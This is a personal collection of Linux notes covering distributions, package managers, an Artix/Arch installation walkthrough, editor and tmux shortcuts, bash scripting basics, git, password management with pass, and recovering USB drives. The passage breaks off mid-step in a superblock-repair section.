#+title: Computer Notes These are the notes I gathered my whole life so far about linux. * Quick Notes * My Linux Notes ** Linux History - 1970 - Unix released by Ken Thompson and Dennis Ritchie at AT&T - 1977 - BSD released and got into lawsuit by AT&T since it contains unix code - 1983 - GNU project started by Richard Stallman to create Free unix-like os and protect it with GPL License - 1991 - A personal/hobby kernel project "Linux" started by Finnish Student named Linus Torvalds ** Distributions *** Redhat Based Linux Distros Redhat lives with a symbiotic relationship between centos and fedora or call it a love triangle if you will. While these compliment each other but these three kinda compete with each other for users attention. Redhat (RHEL): -- A Serious Linux for serious business. -- Its free as in Speech NOT "free as in beer". ** Pros of Linux - - Free and Open Source - Highly Secure - More stable and High Performance - Less Vulnerable to Malwares and Viruses - Frequently Updated and in Development - No drivers problem - Present in almost types of devices ** Cons of Linux - - Can Difficult for beginners to use - Need more knowledge seeker mentality than consumeristic to work with it. ** Philosophy - 1. Everything is a File 2. Small, Single-purpose programs 3. Ability to chain programs together to perform complex tasks 4. Avoid captive user interface 5. Configuration data stored in a text file ** Components - - Bootloader - OS Kernel - Daemons - OS Shell - Graphics Server - Window Manager - Utilities ** Architecture - Hardware - Kernel - Shell - System Utility ** File System Hierarchy - / Root file System directory - /bin essential binary files directory - /boot files require to boot LinuxOS - /dev device files - /etc local system configuration files - /home users files directory - /lib shared library files - /media directory for external devices mount points - /mnt directory for temporary mount points - /opt directory for optional files like third-party tools - /root home directory for root user - /sbin executable binary files used for system administration - /tmp directory to store temporary files by system applications and users - /usr contains executables, libraries, man files, documentations, etc - /var variable data such as log files, email in boxes, web applications, crons files, etc ** Shell and terminals ** prompts ** getting helps - man - apropos - https://explainshell.com/ ** system Information - whoami - id - hostname - uname - pwd - ifconfig - ip - netstat - ss - ps - who - env - lsblk - lsusb - lsof - lspci ** User management - sudo - su - useradd - userdel - usermod - addgroup - delgroup - passwd ** Package Management *The features that most package management systems provide are:* - Package downloading - Dependency resolution - A standard binary package format - Common installation and configuration locations - Additional system-related configuration and functionality - Quality control -- _for arch based distros_ -- - pacman = A powerful package manager for Arch based systems - yay = A package manager for Arch user repository - paru = rust based package manager for aur and arch repos. -- _for Debian based distros_ -- - dpkg = A tool to manage .deb packages - apt = cli package manager for debian or ubuntu based system - aptitude = a tui based frontend to apt - synaptic = A gtk-based frontend to apt -- _for redhat based distros_ -- - rpm = RPM Package manager (RPM) Red hat's default package manager - yum = YellowDogModifier - dnf = A powerful package manager for redhat and fedora based systems DNF stands for Dandified YUM. A robust and fully functional, next generation package manager for RPM-based distros. Nothing could compete it in redhat universe. It can do all the things that yum should be better at doing like installing, updating, and removing packages alongside with smartly resolving dependancies during installation or removing of packages. It is the default package manager of Fedora 22, CentOS8, and RHEL8. DNF is the next-generation version of YUM and intended to be the replacement for YUM in RPM-based systems. It is powerful and has robust features than you’ll find in yum. DNF makes it easy to maintain groups of packages and capable of automatically resolving dependency. *Whats the difference between DNF and YUM.* Due to many long-standing unresolved issues still remained in YUM it has to be replaced by DNF. These problems include poor performance, excessive memory usage, slowdown for dependany resolution. DNF uses "libsolv" for dependancy resolution, developed and maintained by SUSE to improve performance. It was written mostly in python, and it has its own way of coping with dependency resolution. Its API is not fully documented, and its extension system only allows Python plugins. Yum is a front-end tool for rpm that manages dependencies and repositories and then uses RPM to install, download and remove packages. *Why using DNF instead of yum?* There were ultimately three major reasons why Yum was forked into DNF. These reasons were long-standing and serious enough that Yum simply had to go. The reasons were: 1. An undocumented API: This meant more work for developers. In order for developers to do what they needed, it was often necessary to browse through the Yum codebase just to be able to write a call. This meant development was very slow. 2. Python 3: CentOS/RHEL8 was about to make the shift to Python 3 and Yum wouldn’t survive this change, whereas DNF can run using either Python 2 or 3. 3. dependency solving algorithm: This has been an Achilles heel of the Centos package manager for a long time. DNF uses a state-of-the-art satisfiability (SAT), -based dependency solver. This is the same type of dependency solver used in SUSE’s and openSUSE’s Zypper. To put it simply, yum was outdated and couldn’t stand up to the rigors of the modern CentOS 8 distribution. You can visit the packages available in Eldernode to purchase a CentOS VPS server. *DNF command Benefits* You have to look at this from two different perspectives: The end-user and the developer. If you’re an end-user, the switch from Yum to DNF means one very simple thing: a more reliable experience. Where this reliability comes in is DNFs superior dependency solving. It will now be a very rare occasion that you go to install a package and the system cannot resolve a dependency. The system is simply smarter. End-users will also see much less memory usage during package installation. Installations and upgrades will also go much faster. That last bit should be of special importance. Running upgrades with the Yum tool was starting to grow unacceptably slow. If you’re a developer, the shift to DNF means you’ll be able to work much more efficiently and reliably. All exposed APIs are documented. Another plus for developers is that C will be implement. The developers have created hawkeye and librepo . They will also be releasing even more C-based APIs in the future. Considering C is still such a widely-used language. So this should be a welcome change to developers. At the end of this article, If you need to learn how to use DNF and DNF tutorial, you use the [[https://eldernode.com/dnf-command-on-centos-8][DNF Command Tutorial]] article. -- _universal package manager_ -- - snap = cli tool to manage snap packages - flatpack = gui package manager - zap = unofficial cli package manager for appimages -- _for programming langugaes_ -- - gem = front-end to RubyGems, standard package manager for Ruby - pip = package manager for python - hackage = haskel package manager - cargo = rust package manager -- _for git_ -- - git = git is a versional control system used for storing development files ** Service and Process Management Daemons = server services run in background. has suffix with "d" eg. sshd, systemd systemd = init service start at pid 1. It monitors and manage all the other services PID = all process have assigned pid and can be seen in /proc systemctl = systemd program to manage services by user *** using openssh install openssh-client ** Navigation - cd ** Text Manipulation echo - send text to stdout cat - read file less - read in a pager head - read from top tail - read from bottom more - file perusal filter for crt viewing sort - sort lines uniq - report or omit repeated lines fmt - reformat lines pr - convert text files for printing tr - translate or delete characters Advanced Commads awk - pattern scanning and processing language grep - print lines matching pattern sed - stream editor for filtering and transforming text ** Managing Users and Groups - Create User `useradd` - delete user `userdel` - Editing user `usermod` - [[Rename user in Linux]] St ** Managing Files and Folders ** Mangaging Permissions and Ownership ** Package Mangement ** Automation * Artix/Arch Linux Installation ** 1. Base Install - keyboard configuration `loadkeys us` - partitions making (It differs from persons choice) `fdisk /dev/sda` `d 2 n enter +51G w` `mkfs.ext4 /dev/sda1` `mount /dev/sda1 /mnt` `mkdir /mnt/home` `mkdir /mnt/boot` **{Ignore the Above method It just for me heres what i recommend for others}** ** creating partition table - `cfdisk /dev/sda` ├── #create partitions according to your need ├── boot (for uefi only) - `/dev/sda1` [at least 350mb] ├── root - `/dev/sda1` [at least 50Gig] ├── swap - `/dev/sda2` [at least 2Gig] └── storage [optional] - `/dev/sda3` [remaining disk part usually 100Gig] ** Installing filesystem on newly created partitions #+begin_src shell # For Uefi users ├── `mkfs.fat -F 32 /dev/sda1` <- boot [Only for uefi users] └── `fatlabel /dev/sda1 BOOT` <- must be labeled as boot # For BIOS users ├── `mkfs.ext4 -L ROOT /dev/sda1` <- root ├── `mkswap -L SWAP /dev/sda2` <- swap └── `mkfs.ext4 -L EXTRASTORAGE /dev/sda3` <- extra for storage, optional # Mounting partitions ├── `swapon /dev/sda2` -> starting swap if created └── `mount /dev/sda1 /mnt` -> mounting root └── `mkdir /mnt/home /mnt/boot` -> creating needed folders #+end_src ** 1. Installing base system =basestrap /mnt base base-devel runit elogind-runit linux linux-firmware vim= *** Generate fstab `fstabgen /mnt` `fstabgen -U /mnt >> /mnt/etc/fstab` *** chrooting into installed system `artools-chroot /mnt` `bash` `vim /etc/pacman.d/mirrorlist` *** configuring timezone `ln -sf /usr/share/zoneinfo/country/city/etc/localtime` `hwclock --systohc` *** localization `vim /etc/locale.gen` `locale-gen` `vim /etc/locale.conf` `LANG = en_us.UTF-8` *** Configure Network `pacman -S NetworkManager NetworkManger-runit` `ln -S /etc/runit/sv/NetworkManager /etc/runit/runsvdir/current` #before reboot `ln -S /etc/runit/sv/NetworkManager /run/runit/service` # after reboot `vim /etc/hostname` `desktop` `vim /etc/hosts` `127.0.0.1 localhost` `::1 localhost` `127.0.0.1 desktop.localdomain desktop` *** Installing Grub `pacman -S grub` `grub-install --target=i386-pc /dev/sda` # for bios or `grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=grub` # for uefi ├── `grub-mkconfig -o /boot/grub/grub.cfg` │ `pacman -S artix-grub-theme` │ `vim /etc/default/grub` │ `GRUB_THEME="/usr/share/grub/themes/artix/theme.txt` └── # reconfigure grub after installing grub theme *** Add users `passwd` `useradd -m username` `passwd username` `usermod -a -G video,audio,input,power,storage,optical,ip,scanner,dbus,adbusers,uucp,vboxusers username` `usermod -a -G log mpd network scanner power users video storage ip optical wheel username` *** Installing display server `pacman -S xorg` *** Installing Video Drivers `pacman -S xf86-video-intel` *** Network Configuration #after reboot command for network ** 2. Post Base Install** - Install GUI Desktop Enviroment or Window manager - * Emacs Notes ** Terminologies C - control key M - Meta key, Edit key, Alt key (if not present tap once Esc to simulate it) move - "move cursor" :: - equivalent to vim key c - u - prefix argument :: similar to motion in vim ** Program Related Commands C - x C - c = quit emacs C - g = kill partially hit command C - x k = stop the tutorial ** Navigations C - v = page down a screenful M - v = page up a screenful C - l = center the page around the cursor C - p = move upward :: k C - n = move downward :: j C - f = move forward :: l C - b = move backward :: h M - f = move wordful forward M - b = move wordful backward C - a = beginning of line :: ^ M - a = beginning of sentence C - e = end of the line :: $ M - e = end of the sentence M - < = top of the document :: gg M - > = end of the document :: G * Pacman Notes Source: *NOTES FROM LUKE'S VIDEO* https://youtu.be/-dEuXTMzRKs ** Simply Installing a program use -S `sudo pacman -S emacs` # To Updating database `sudo pacman -Syu` -S = sync package to remote repositories -Sy = Just sync -u = update a program # `sudo pacman -Syyu` double checks sync and install updates # 'w' flags downloads in the background update and not install it. `sudo pacman -Syyuw` # In debian based distros you get these apt-get update && apt-get upgrade # which is equivalent to these in arch pacman -Sy && pacman -Su # but you can run this as one like this pacman -Syu # To search for programs in remote repositories `pacman -Ss emacs` # To search for programs in local repositories `pacman -Qs emacs` ** Uninstalling packages `pacman -R vidir` - Just remove the program `pacman -Rs vidir` - To remove with dependancie `pacaman -Rn vidir` - To remove with system config (not config (dotfiles)) # So the best way to uninstall is using `pacman -Rns vidir` # To remove package with all dependant packages [be cautious here] `pacman -Rsc vidir` # but if need to delete without removing dependant packages `pacman -Rdd vidir` # How to downgrade a package =pacman -U /var/cache/pacman/pkg/package-old_version.pkg.tar.type= ** Listing out programs `pacman -Q` - List out all packages installed in system `pacman -Qe` - List out user explicitely installed packages `pacman -Qn` - List out programs installed from main repositories `pacman -Qm` - List out programs installed from AUR # Extra Utilities `pacman -Qdt` - No longer needed programs (orphaned packages) ** Finding packages To find out which package belong to which program `pacman -Fy /usr/bin/ftp` ** Configuring /etc/pacman.conf # uncomment any flags you want to use by removing # hashtags `Color` - Enable coloring `CheckSpace` - Enable checkspacing `ILoveCandy` - Enable pacman ascii animation `VerbosePackageList` - Enable detailed information about package changes `IgnorePkg = libseccomp` - To stop a program from being upgraded # `sudo pacman -Syu --ignore=vlc` - To ignore temporarily `HoldPkg = Glibc` - To hold a package to install # To downgrad any packages `pacman -U /var/cache/pacman/pkg/package-old_version.pkg.tar.type` # `-U` is for installing from local file # You can change mirrorlist from here `/etc/pacman.d/mirrorlist` *** *How to Ignore A Package From Being Upgraded In Arch Linux* To ignore a package from being upgraded, you need to add it to IgnorePkg or members of IgnoreGroup in the pacman.conf file. Say for example, to ignore vlc from being upgraded while updating your Arch Linux you need to do the following. Edit pacman.conf file: `$ sudo vi /etc/pacman.conf` Add the line – “IgnorePkg = vlc” as shown below. ``` # Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup #IgnorePkg = IgnorePkg = vlc #IgnoreGroup = Save and close the file. To ignore a group of packages, you need to add IgnoreGroup = plasma-desktop, for example. ``` Whenever you try to update vlc, you will see a warning message like below. `$ sudo pacman -S vlc` Sample output: ``` :: vlc is in IgnorePkg/IgnoreGroup. Install anyway? [Y/n] To remove this, simply remove or comment out the line IgnorePkg = vlc by adding a # sign in-front of it. Now, again run the following command to update Vlc: `$ sudo pacman -S vlc` Sample output dependencies... looking for conflicting packages... Packages (1) vlc-2.2.4 Total Installed Size: 10.7 MiB Net Upgrade Size: 2.15 MiB :: Proceed with installation? [Y/n] y (1/1) checking keys in keyring [######################] 100% (1/1) checking package integrity [######################] 100% (1/1) loading package files [######################] 100% (1/1) checking for file conflicts [######################] 100% (1/1) checking available disk space [######################] 100% :: Processing package changes... (1/1) upgrading vlc [######################] 100% ``` As you see in the above output, Vlc has been upgraded to the latest version. The above method will permanently stop the specified package from being upgraded until you remove it from the ignore list. To do this temporarily, you can simply run: `$ sudo pacman -Syu --ignore=vlc` This command will skip vlc package from being updated. Similarly, to skip a package group, just run: `$ sudo pacman -Syu --ignoregroup=plasma-desktop` ** Cleaning Up When you update packages to newer version older version of packages are still there. SO if you want to clear out all these older packages from caches do this. `df -h` - to check disk size `pacman -Sc` - To clear caches *WARNING*: You upcan remove pacman caches with this command `sudo pacman -Sc` but it also clear the caches of your installed packages which are needed when package update doesnt work and you have to downgrade until the issue is fixed. Thats not a big disaster because you can easily downgrade a package using Arch repo. But be careful before you use this. And DO NOT use this oftenly. ONLY once in a year or so. Source: https://endeavouros.com/docs/pacman/paccache/ *** Paccache - Cleanup your pacman cache *Is your root partition is full so dont worry paccache is here.* When you install a package with Pacman, it stores all downloaded packages in `/var/caches/pacman/pkg` folder. But pacman didnt remove old and uninstalled packages automatically by default so after a while the caches size will take upto the substantial amount of your HDD or SDD. Fortunately with pacman's built in funtion you can easily clear your caches with this command `sudo pacman -Sc` but the the problem with this method is it also clear the caches of your installed packages which are needed when package update doesnt work and you have to downgrade until the issue is fixed. Thats not a big disaster because you can easily downgrade a package using Arch repo. Source: https://endeavouros.com/docs/pacman/paccache/ ** Using yay installing yay - git clone https://aur.archlinux.org/yay.git ; cd yay ; makepkg -si yay -S package - Install package yay -Rns Package - Remove package yay - Searching yay yay -Ss package - search package yay -Syu - upgrade all install packages (similar to pacman -Syu) yay -Yc - To clean unneeded dependancies yay -Ps - Prints system statistic yay -Sw package - To download package without installing it yay -Si package - get information of package yay -Sua - To update all installed aur packages yay -u package - To update single package * FFMPEG Notes ** [[How to merge Audio and Video using ffmpeg?]] *Merging video and audio, with audio re-encoding* =ffmpeg -i video.mp4 -i audio.wav -c:v copy -c:a aac output.mp4= Here, we assume that the video file does not contain any audio stream yet, and that you want to have the same output format (here, MP4) as the input format. If your audio or video stream is longer, you can add the -shortest option so that ffmpeg will stop encoding once one file ends. *Copying the audio without re-encoding* If your output container can handle (almost) any codec – like MKV – then you can simply copy both audio and video streams: =ffmpeg -i video.mp4 -i audio.wav -c copy output.mkv= *Replacing audio stream* If your input video already contains audio, and you want to replace it, you need to tell ffmpeg which audio stream to take: =ffmpeg -i video.mp4 -i audio.wav -c:v copy -c:a aac -map 0:v:0 -map 1:a:0 output.mp4= The -map option makes ffmpeg only use the first video stream from the first input and the first audio stream from the second input for the output file. *In case one would like to merge audio and video with different length and also to apply Fade In and Fade Out the following worked for me:* =ffmpeg -i Video001.mp4 -i Audio001.mp3 -af afade=t=in:st=0:d=3,afade=t=out:st=47:d=4 -c:v copy -c:a aac -shortest Output.mp4= In my case above the video was of length 51 so I chose Fade In of length 3 [Sec] and Fade Out* of ~4 [Sec]. Since fading is applied by a filter it required transcoding of the audio. In the case above I chose aac encoding. * ImageMagick Notes ** [[How to take Screenshot using ImageMagick]] import utility comes preinstalled with ImageMagick **with selection** `import test.png` **for specific window** `import -window "$(xdotool getwindowfocus)" test.png` **for all monitor** `import -window root test.png` **for croping specific monitor or resolution** `import -window root -crop 1920x1880+0+0 test.png` **for gravity option** `import -window root -gravity NorthEast -crop 1920x1080+1920+8 test.png` **for more than one screenshot** `import -snaps 3 test.png` **for with delay** `sleep 3 && import test.png` # adding effects **negating colors** `import -negate test.png` - monochrome **resizing image** `import -resize 25% test.png` **rotate image** `import -rotate 45 test.png` **setting transparency for colors** `import -transparent '#33393B' filemanager.png` ** Horizontally Merging two Images like a collage. Source: https://stackoverflow.com/questions/20737061/merge-images-side-by-sidehorizontally#20749970 There are two ways to do it. (well, Probably more who knows? ¯\_(ツ)_/¯ ) *First Using montage command* ImageMagick ships with the montage utility. Montage will append each image side-by-side allowing you to adjust spacing between each image (-geometry), and the general layout (-tile). =montage [0-4].png -tile 2x1 -geometry +0+0 out.png= *Second using Convert commnad* ImageMagick has command line tool named 'convert' to merge images horizontally, or for other purpose. i have tried this command and working perfectly on your case: To join images horizontally: =convert +append *.png out.png= To stack images vertically: =convert -append *.png out.png= *Use -resize if the images don't have the same width/height* You can fix the height for all of them with the -resize option, e.g. to fix a 500 pixel height on two images joined horizontally: =convert +append image_1.png image_2.png -resize x500 new_image_conbined.png= Or for vertical joins, you would want to set a fixed width instead: =convert -append image_1.png image_2.png -resize 500x new_image_conbined.png= ** Converting Files/Images Converting Images to webp for websites *Install libweb package* =cwebp inputfile -o outputfile.webp= * Tmux Notes when you launch tmux it creates server /tmp/tmux-1000 or /run/user/1000/tmux-1000/default (dont delete these file) server > sessions > windows > panes >_ tmux ls - lists sessions prefix + d - dettach session >_ tmux attach - connect to dittached server prefix + $ - rename the session prefix + s - navigation menu prefix + c - creates new window prefix + , - rename the window prefix + 0-1 - jump to nth window prefix + n - jump between windows prefix + % - creates horizonatal pane prefix + " - creates vertical pane prefix + arrows - navigate between panes >_ tmux new[tab] - creates new [tab options] >_ tmux list-sessions - duh >_ tmux kill-[tab] - kills [tab options] prefix x - kills the pane prefix : - prompt for tmux commands and terminals ~/.config/tmux/tmux.conf unbind C-b # undbinds the default prefix key set -g prefix C-space #sets the prefix key >_ tmux source tmux.conf * Regex Related to cut a output from "" delimeter and printing field 1 using cut `fc-list | cut -d ":" -f 1` * Vim Related ** Vim Basics o - opens the new line below cursor O - opens the new line above cursor :w - saves as to filename :! - exectute external command v :w - saves the current cursor line in filename document :r - retrieve the text from filename document and insert into into the document at cursor x - delete the word r - replace the word ce - delete or change the word (c-G) - to see the status line number and G - to goto the line number gg - goto to top of document GG - got to the bottom of document /word - search the word ?word - search the word /s/oldword/newword - substitute oldword with newword in line at cursor /s/x/y/g - substitute x with y globally /s/x/y/gc - substitute x with y globally but asking confirmation at every instance of occurance :%s/old/new/g - substitute old with new in the whole file :%s/old/new/gc - substitute old with new in the whole file with confirmation prompt :s/thee/the - simple substitute command :s/thee/the/g - simple substitute command for all occurrences in line % to spawn cursor at other side of the brackets lesson 6.2 ** Vim tricks you never heard of - gg Go to top of file - G Go to bottom of file - g Ctrl+g File information at bottom Deals with what "perceived lines" instead of real lines - gj Go down what one line 'looks like' in vim even if it's the same line that wraps to multiple lines - gk Go down what one line 'looks like' in vim even if it's the same line that wraps to multiple lines - g$ Jump to end of "perceived line" - g0 Jump to start of "perceived line" - gq [text object] Split long lines up so that they won't need to wrap (based on your vim window's length, but still split lines if >80 characters) - gJ Combine selected lines (or current and next line, if nothing selected) into one w/o spaces in between Capitazization - gu [text object] Uncapitalize text object - gU [text object] Capitalize text object - ~ Switch capitalization of letter - g~ [text object] Switch capitalization of text object Misc - gf Open relative/absolute filename that the cursor is on - gv Reselect last selected text - :help g Automated bot designed to replace Luke Smith's vim videos Substitution - : s/OldText/NewText/g Replace OldText with NewText only on this line - g& Run the line substitution on the entire file Source : https://videos.lukesmith.xyz/videos/watch/d6f033e7-2c3f-421b-a8b3-cdb76967a7dc * BASH Related ** Some archived Notes *** Exit Codes && executes if first succeded || executes if first one failed ; execute afterwards just like another line even if first failed & executes another command simultaneously with first -z means if its equal to nothing Example #+begin_src shell #!/bin/sh if [ "$EDITOR" = "" ]; then EDITOR=nano echo $EDITOR #+end_src *VS* #+begin_src shell [ -z "$EDITOR" ] && EDITOR=nano && echo $EDITOR || echo "EDITOR is $EDITOR" #+end_src *exit codes* $? check if cmd successful or not 0 if command successful 1 if cmd unsuccessful *Functions* #+begin_src shell function unit_test () { echo "running unit test" return 0 } unit_test #+end_src ** Giraffe Academy Notes THESE NOTES TAKEN FROM THE YOUTUBE VIDEO "SHELL SCRIPTING CRASH COURSE - BEGINNER LEVEL" https://youtu.be/v-F3YLd6oMw Uncomment or copy any portion you want to run and save file and chmod it to executable chmod a+x bash\ scripting\ basic ./bash\ scripting\ basic ------------------------------------------------------------- AUTHOR: VOID00R --------------------------------------------------------------------- !/bin/bash --------------------------------------------- VARIABLES NAME="jack" --------------------------------------------- COMMAND echo "Hello $NAME" -------------------------------------------- USER INPUT read -p "Enter your name: " NAME echo "your name is $NAME" ----------------------------------------- SIMPLE IF STATEMENT if [ "$NAME" == "sam" ] then echo "your name is sam" elif [ "$NAME" == "jack" ] then echo "your name is jack" else echo "your name is not sam" fi ----------------------------------------- COMPARISON NUM1=3 NUM2=5 if [ "$NUM1" -gt "$NUM2" ] then echo "$NUM1 is greater than $NUM2" else echo "$NUM1 is less than $NUM2" fi -------------------------------------------- FILE CONDITIONS FILE="test.txt" if [ -e "$FILE" ] then echo "$FILE exists" else echo "$FILE does NOT exists" fi ------------------------------------------------- CASE STATEMENTS read -p "Are you 21 or over? Y/N " ANS case "$ANS" in [yY] | [yY][eE][sS]) echo "you can have a beer :)" ;; [nN] | [nN][oO]) echo "Sorry, no drinking" ;; *) echo "Say either yes/no [y/n]" ;; esac ------------------------------------------------- SIMPLE FOR LOOP NAMES="Brad Kevin Alice Mark" for NAME in $NAMES do echo "Hello $NAME" done ------------------------------------------------------- FOR LOOP TO RENAME FILES FILES=$(ls *.txt) NEW="new" for FILE in $FILES do echo "Renaming $FILE to new-$FILE" mv $FILE $NEW-$FILE done -------------------------------------------------------- WHILE LOOP - READ THROUGH A FILE LINE BY LINE LINE=1 while read -r CURRENT_LINE do echo "$LINE: $CURRENT_LINE" ((LINE++)) done < "./new-1.txt" -------------------------------------------------- FUNCTIONS function sayHello() { echo "Hello World" } #sayHello -------------------------------------- FUNCTIONS WITH PARAMS function greet() { echo "Hello, I am $1 and I am $2" } greet "Brad" "36" -------------------------------------------- CREATE FOLDER AND WRITE TO A FILE mkdir hello touch "hello/world.txt" echo "Hello World" >> "hello/world.txt" echo "Created hello/world.txt" --------------------------------------- -------------# THE END #----------------# !/bin/sh This is a comment it will just ignored by computer so wont be run or executed echo "whats your name?" read NAME echo $NAME read -p "Enter your name: " NAME echo "your name is $NAME" NAME=edward readonly NAME NAME=bella echo $NAME NAME=edward unset NAME echo $NAME $0 = the file name of the script $1.....9 = these value correspond with the arguments with which the scripts was invoke $# return the number of argument suplied to a script $* returns all the arguments that are double quoted $@ returns all the arguments that are individaully double qouted $? exit status of the last command that you have executed $$ will give you the process number of the current shell for the shell script it is also the process id under which it is executed echo "File name: $0" echo "First parameter: $1" echo "second parameter: $2" echo "quoted values: $@" echo "quoted values: $*" echo "No of parameters: $#" for TOKEN in $* do echo $TOKEN done Shell Loops for loop for var in 0 1 2 3 4 5 6 7 8 9 do echo $var done while loop a=0 while [ $a -lt 10 ] do echo $a a=`expr $a + 1` done until loop a=0 until [ ! $a -lt 10 ] do echo $a a=`expr $a + 1` done loop inside loop a=0 while [ "$a" -lt 10 ] do b="$a" while [ "$b" -ge 0 ] do echo -n "$b" b=`expr $b - 1` done echo a=`expr $a + 1` done infinite loop a=10 until [ $a -gt 0] do echo $a a=`expr $a + 1` done ** Edureka Notes #!/bin/sh #This is a comment it will just ignored by computer so wont be run or executed echo "whats your name?" read NAME echo $NAME read -p "Enter your name: " NAME echo "your name is $NAME" NAME=edward readonly NAME NAME=bella echo $NAME NAME=edward unset NAME echo $NAME $0 = the file name of the script $1.....9 = these value correspond with the arguments with which the scripts was invoke $# return the number of argument suplied to a script $* returns all the arguments that are double quoted $@ returns all the arguments that are individaully double qouted $? exit status of the last command that you have executed $$ will give you the process number of the current shell for the shell script it is also the process id under which it is executed echo "File name: $0" echo "First parameter: $1" echo "second parameter: $2" echo "quoted values: $@" echo "quoted values: $*" echo "No of parameters: $#" for TOKEN in $* do echo $TOKEN done Shell Loops for loop for var in 0 1 2 3 4 5 6 7 8 9 do echo $var done while loop a=0 while [ $a -lt 10 ] do echo $a a=`expr $a + 1` done until loop a=0 until [ ! $a -lt 10 ] do echo $a a=`expr $a + 1` done * Python Related ** Learning Pythong Again Book Name: Python the hard way Printing - can be print with quotes double or single, inside of each others. formatting - =print(f"my hais is {color} color.")= * Installation and Fixing ** How to setup ncmpcpp *How I set up my Ncmpcpp* [This setup is based on Luke Smith's voidrice config but i made some changes to make it work for me] Step 1 : Install `sudo pacman -S ncmpcpp` or `yay -s ncmpcpp` Step 2 : Configure - create config files: `nvim ~/.config/ncmpcpp/config` - paste the content from here: *[[ncmpcpp/config]] *[[ncmpcpp/bindings]] - Go to `~/.config/mpd` folder - create/edit config file - paste the content from here: *[[mpd/mpd.conf]] - Edit them according to your need like changing music directory and all. - Inside `config/mpd` folder create these files and folder too - `mkdir playlists` - `touch mpd.conf mpd.db mpd.log mpd.pid mpdstate` Step 3 : Initialize mpd and start ncmpcpp - open terminal and follow instruction - kill mpd process `killall mpd` - start mpd `mpd` - start ncmpcpp `ncmpcpp` Enjoy! ** Installing DWM *** Installing Dwm #notes 1. Git clone git.suckless.org/dwm 2. make -C /dwm 3. Edit config.mk file Look for X11NC and change values to /usr/include/X11 and usr/lib/X11 save it and compile it with sudo make clean install 4. goto /usr/share/xsessions/ and create a dwm.desktop file and write these lines in it [Desktop Entry] Encoding=UTF-8 Name=dwm Comment=dwm window manager Exec=/usr/local/bin/dwm Type=Application save it and exit i3 to and launch dwm *** Patching To Patch Suckless utilities patch -p1 < name of the patch.patch if hunk error occur check .rej file copy/add + commented lines and remove - commented lines and paste into respected file and make neccessary changes to said file in patches website and make install ** Encrypt your passwords with pass ----------------------------------------- - Install pass: `sudo pacman -S pass` - Generate gpg key: `gpg --full-generate-key` - Remember you key or for see again it `gpg --list-secret-keys --keyid-format LONG` - Initialize your key `pass init "gpg-key"` - save your password `pass insert testsite.com` - Enter `pass` to see a list of your saved password - see your password `pass testsite.com` - enter your passphrase -------------------------------------------- - manually decrypting .gpg file - change directory to where is your gpg keys located - Type `gpg -d testsite.com.gpg` - enter your passphrase -------------------------------------------- Accessing Password from dmenu - create an keybinding from passmenu - passmenu copies the password into clipboard for 45 sec - and also add this line into passmenu file to get notify `notify-send "Password for $password copied to clipboard for 45sec." * Git Related git --version git config --list git config --global user.name "void soul" git config --global user.email "voidsoul@tuta.io" git config --list ** Setting Upstream for local git repo -- git remote add upstream https://github.com/yourid/yourrepo.git -- git fetch upstream -- git merge upstream/main source: https://devopscube.com/set-git-upstream-respository-branch/ # TO INITIALIZE REPOSITORY FROM EXISTING CODE `git init` -- # TO STOP TRACKING GIT JUST REMOVE .git DIRECTORY # LIST STATUS `git status` -- # TO IGNORE SOME FILES ADD .gitignore file wildcarts in .gitignore file .DS_STORE .project *.pyc # TO ADD FILES IN STAGING AREA `git add .gitignore` -- # FOR EVERTHING TO ADD IN STAGING AREA `git add -A` # TO REMOVE FILES FROM STAGING AREA `git reset calc.py` # COMMIT CHANGES ` git commit -m "Initial Commit" ` # SEE LOG `git log` # CLONING A REMOTE REPO git clone # TO LIST INFORMATION `git remote -v` `git branch -v` # PUSHING CHANGES -- # TO SEE DIFFERENCE `git diff` -- # TO PULL ANY OTHER CHANGES DONE TO THAT REPO EITHER REMOTELY OR LOCALLY `git pull origin main` # PUSH IN MASTER BRANCH `git push origin main` # CREATE A BRANCH FOR NEW FEATURE `git branch calc-divide` -- list all branch `git branch` -- Switch to other branch `git checkout calc-divide` # PUSHING THE BRANCH TO REMOTE REPOSITORY `git push -u origin calc-divide` # MERGING A BRANCH TO MASTER -- TO PULL ANY NEW CHANGES `git pull origin master` `git merge calc-divide` `git push origin master` # TO SEE MERGED BRANCH `git branch --merged` # TO DELETE UNNECCESSSARY BRANCH `git branch -d calc-divide` # TO LIST ALL BRANCHES REMOTE AND LOCAL `git branch -a` # TO DELETE BRANCHES FROM REMOTE REPOSITORY `git push origin --delete calc-divide` * USB Related ** How to create a live USB from Cli 1. Know your drive =sudo fdisk -l= 2. Flash it. =sudo dd bs=4M if=/path/to/endeavouros-x86_64.iso of=/dev/sdX status=progress && sync= ----------------------------------------------------------------------- ** How to format USB to Correct way. (Or How to turn it to normal) - run =df= or =sudo fdisk -l= or =lsblk -l= to list devices - know your device unmount it =sudo umount /dev/sdc1= - format it =sudo wipefs --all /dev/sdc= - now partition it properly with =sudo cfdisk /dev/sdc= [select msdos for usbs` and create partion as default if not found vfat option in type leave it as linux 83] - then write filesystem and mount it =sudo mkfs.vfat -n 'MYUSB' -I /dev/sdc1= =sudo mkfs.fat -F32 /dev/sdc1= [The first command will wipe entire data and restore every sector to zero and original so this process is also helpful when formating bootable usbs to normal usbs] if nothing work to return your pendrive to normal there is one last thing you can do. - Open Terminal, make sure device is unmounted and run this command - =sudo dd if=/dev/zero of=/dev/sdc= (No need to add number) - IT CAN TAKE MUCH TIME so wait for atleast 5 minute - and then every thing is successful and message shows there is no space left in device then consider its normal - now you can use above methods to create partition table and format it to vfat. Thanks to this video It helped me to figure out. https://youtu.be/V6m5ZPGIbcI # Usb Errors ** Known Errors *** *1. Wrong fst type or badSuper block* ``` wrong fs type, bad option, bad superblock on /dev/sdb1, missing codepage or helper program, or other error ``` **Solution:** This will wope out the drive! - =mkfs.ext4 /dev/sdc1= - =fdisk -l= If you can see your drive thats good. - =fsck /dev/sdc1 -y= repairing superblock *** 2. *Initramfs prompt at startup / Bad Superblock due to power loss* After a reboot, the boot process drops to the BusyBox shell and I end up at the Initramfs prompt: `BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4) built-in shell (ash) Enter 'help' for a list of built-in commands. (initramfs)` - Firstly, boot into a live CD or USB - Find out your partition number by using =sudo fdisk -l|grep Linux|grep -Ev 'swap'= - Then, list all superblocks by using the command: `sudo dumpe2fs /dev/sda2 | grep superblock` Replace "sda2" to your drive number - Now, to check and repair a Linux file system using alternate superblock # 32768: 